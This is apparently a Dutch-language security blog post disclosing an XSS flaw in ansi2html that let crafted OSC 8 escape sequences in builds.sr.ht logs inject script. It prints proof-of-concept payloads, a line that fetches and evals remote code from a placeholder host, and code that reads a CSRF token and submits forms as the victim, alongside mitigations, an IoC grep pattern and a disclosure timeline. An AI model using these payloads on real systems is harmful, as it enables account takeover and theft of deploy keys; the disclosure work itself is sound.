SourceHut accountovername via build-logs (XSS in ansi2html.py) | CVE-2026-92973

Datum: 23 september 2026 Auteur: Arusekk

Welkom bij mijn eerste write-up over een kwetsbaarheid met grote impact! Om de context te schetsen: ik had onlangs het idee om een eigen sr.ht-instantie op te zetten die mensen zou betalen voor het hosten van hun projecten.

Structuur van SourceHut

SourceHut is opgebouwd uit verschillende microservices. De belangrijkste zijn meta.sr.ht en waarschijnlijk git.sr.ht of hub.sr.ht (de hoofdinstantie host deze simpelweg op sr.ht). Daarnaast is er builds.sr.ht, de CI-dienst. Een minder bekende service is mirror.sr.ht (dat langzaam verhuist naar mirror.srht.network), die vooraf gebouwde pakketten voor diverse microservices bevat.

Ik waardeer deze aanpak, omdat het een zeer eenvoudige start mogelijk maakt op elke machine die exact overeenkomt met de distributieversie van de hoofdinstantie. Voor projecten die installatie via curl|sudo bash aanbevelen, is het raadzaam om te kijken naar de optie van het distribueren van software via daadwerkelijke softwarepakketten [1].

Het bouwen van Alpine-pakketten

Wie een andere distributie gebruikt, of zelfs een andere versie van Alpine, moet zelf aan de slag. Er is de sr.ht-apkbuilds repo, die je kunt 'forken' om je eigen signing key, Alpine-versie en mirror te gebruiken. Er bestaat ook sr.ht-pkgbuilds voor Arch, maar deze wordt op dit moment feitelijk niet meer onderhouden [2].

Dit proces maakt gebruik van builds.sr.ht om de pakketten te bootstrappen. Tijdens het gebruik merkte ik dat de build-log niet scrollde naar de gewenste plek, wat me ertoe aanzette om naar de broncode van de pagina te kijken. Daar vond ik het volgende:

/* ... */
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
.ansi38-150150150 { color: #969696; }
/* ... */

Ik besloot uit te zoeken hoe dit werd aangepakt, om het eventueel te kunnen herstellen. Aangezien er onnodig rekenvermogen en bandbreedte verloren gaat, wilde ik dit optimaliseren [3].

ansi2html

Ik heb gekeken naar de logica die ANSI-escapecodes converteert naar HTML en heb hierover een issue aangemaakt. Omdat er op dat moment al meer dan een jaar geen activiteit in de repo was, ben ik zelf aan de slag gegaan en heb ik een PR ingediend om dit specifieke probleem op te lossen.

Vanwege mijn achtergrond in Capture The Flag (CTF) ben ik ansi2html verder gaan onderzoeken op zoek naar meer bugs. Naast het parsen van escape-sequenties voor kleuren, ondersteunt de tool ook automatische links en OSC 8-hyperlinks. Omdat de code nog niet goed gestructureerd was, kon ik een kwaadaardige inputstring maken:

$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html

Dit resulteert in de volgende HTML-output:

<a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a>

Een ander voorbeeld:

$ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html

Output:

<a href="javascript:alert`xss`">Nothing to see here</a>

Het eerste voorbeeld is een nadere uitleg waard. Het parseert naar dezelfde DOM-boom als:

<a
  href="https://example.com/"
  autofocus
  tabindex="1"
  onfocus="alert`xss`">
  Nothing to see here
</a>

Als je in staat bent om <0xE2><0x90><0x9B>]8;;https://example.com/"/...<0xE2><0x90><0x87> in de job-logs te krijgen — wat mogelijk is zonder account door een patch naar een publieke mailinglijst te sturen met CI ingeschakeld, of door controle te hebben over een externe resource die in de log wordt geprint — dan heb je een build-job gecreëerd waarbij de payload wordt uitgevoerd in elke browser die de log bekijkt.

Weaponization (niet thuis proberen)

De werkelijke payload zou gedownload kunnen worden van de website van een aanvaller, bijvoorbeeld via: eval(await (await fetch('https://example.com')).text()).

Wat dit zou kunnen doen: De pagina met de build-log bevat al het CSRF-token. Dit kan worden uitgelezen met document.querySelector('[name=csrftoken]').value of door het bestaande formulier van de 'Resubmit build'-knop te gebruiken: document.querySelector('[name=manifest]').value='something'; document.forms[0].submit();

Zodra een beheerder de log bekijkt, zou een aanvaller zichzelf beheerderrechten kunnen geven. Het ergste scenario is dat men toegang krijgt tot alle deploy keys. Op builds.sr.ht zijn er deploy keys voor sr.ht zelf.

Let op: test 'worms' alleen op je eigen infrastructuur, nooit op productieomgevingen.

Defense in Depth

Hoe kan dit worden voorkomen?

  1. Content-Security-Policy (CSP): Het verwijderen van unsafe-inline zou een goede eerste stap zijn (hoewel inline-scripts momenteel nog worden gebruikt op de build-log pagina voor het scrollen).
  2. Extra sanitization: SourceHut heeft dit toegevoegd, maar het is nu zo strikt dat er geen kleuren meer worden weergegeven.
  3. Code-herstructurering: Het ombouwen van ansi2html naar een stateful transducer automaton.

Rapportage en Upstream

Ik heb direct gemaild naar ~sircmpwn/sr.ht-security@lists.sr.ht met een uitleg van het probleem en een fix. Drew DeVault heeft builds.sr.ht vervolgens gepatcht om de output van ansi2html automatisch te sanitizen.

Daarna heb ik contact opgenomen met de upstream-maintainers van ansi2html. Het project bevindt zich onder de pycontribs organisatie op GitHub. Na contact met Sebastian Pipping is ansi2html weer actief gemaakt, zijn verouderde scripts bijgewerkt en zijn er meerdere versies naar PyPI gepubliceerd.

CVE en CVSS-score

Naar mijn mening is CVSS-scoring vaak problematisch omdat het een gemiddelde probeert te zijn, terwijl de impact per product verschilt.

Voor deze XSS-kwetsbaarheid is de aanpak: het web-service is het Vulnerable System en de browser is het Subsequent System.

CVSS Vector Analyse:

  • AV:N (Attack Vector): Netwerk
  • AC:L (Attack Complexity): Laag
  • AT:N (Attack Requirements): Geen
  • PR:N (Privileges Required): Geen
  • UI:P (User Interaction): Passief (slachtoffer moet pagina bezoeken met JS aan)

Vulnerable System (builds.sr.ht / sr.ht):

  • VC:H (Confidentiality): Hoog (geheimen worden blootgesteld)
  • VI:H (Integrity): Hoog (aanvaller kan malicious jobs indienen als slachtoffer)
  • VA:N (Availability): Geen

Subsequent System (browser van slachtoffer):

  • SC:L (Confidentiality): Laag
  • SI:L (Integrity): Laag
  • SA:N (Availability): Geen

Aanvullend:

  • AU:Y (Automatable): Ja (wormable)
  • R:I (Recovery): Onherstelbaar (gebruikers kunnen build-jobs niet verwijderen, alleen verbergen)
  • V:C (Value Density): Geconcentreerd (één instantie host veel waardevolle projecten)
  • RE:L (Response Effort): Laag (mitigatie via CSP header op proxy-niveau)
  • U:Amber (Urgency): Matig

Ik zou deze kwetsbaarheid classificeren als Hoog of Kritiek. Als een blackhat ervoor had gezorgd dat Drew een beïnvloede build-log bezocht met JS aan, had de aanvaller een build-job kunnen indienen in zijn naam met toegang tot de SourceHut deploy keys.

Kwetsbare versies

  • ansi2html >=1.7.0, <1.9.4
  • builds.sr.ht >= 0.40.0, < 0.105.1

Indicatoren van compromittering (IoC)

Controleer je ruwe build-logs op: <0xE2><0x90><0x9B>]8;;https://example.com/"/...<0xE2><0x90><0x87> of <0xE2><0x90><0x9B>]8;;javascript:...<0xE2><0x90><0x87>.

In Bash kan dit met: grep $'\33]8;[^\7\33]*"'

Tijdlijn

  • 2019-03-11: ansi2html wordt toegevoegd aan builds.sr.ht en sr.ht-apkbuilds.
  • 2021-09-03: De bug wordt geïntroduceerd in de upstream versie van ansi2html.
  • 2022-02-08: Een beïnvloede versie wordt gepackaged voor Alpine en gaat live op de hoofdinstantie.
  • 2022-07-10: Een beïnvloede versie wordt gepackaged voor Arch Linux.
  • 2026-07-31: Ik begin te werken met SourceHut.
  • 2026-08-01: Ik dien het issue en de PR voor de TrueColor bug in bij ansi2html upstream en stuur een preliminaire patch naar de SourceHut security mailinglijst.
  • 2026-08-04: De bug wordt gemitigeerd in de builds.sr.ht code; Drew DeVault bevestigt de kwetsbaarheid.
  • 2026-08-06: Bug gemeld bij upstream en direct erkend.
  • 2026-08-22: Sebastian Pipping reageert; planning voor herstel wordt gemaakt.
  • 2026-09-02: PR met de definitieve fix wordt gepusht en versie 1.9.4 wordt gepubliceerd.
  • 2026-09-05: Arch Linux update ansi2html naar een gefixte versie.
  • 2026-09-23: Publicatie van deze blogpost.

Samenvatting

Vulnerability research hoeft geen circus of bureaucratische strijd te zijn. In dit geval bleef builds.sr.ht bijna 4,5 jaar kwetsbaar.

***

Voetnoten: [1] Verwijs naar het belang van softwarepakketten boven curl|sudo bash installaties. [2] Patches voor Arch Linux kunnen mogelijk nog steeds worden verzonden voor wie zelf sr.ht host op Arch. [3] Verwijst naar de noodzaak om bandbreedte-impact te meten bij updates van ansi2html in sr.ht-apkbuilds.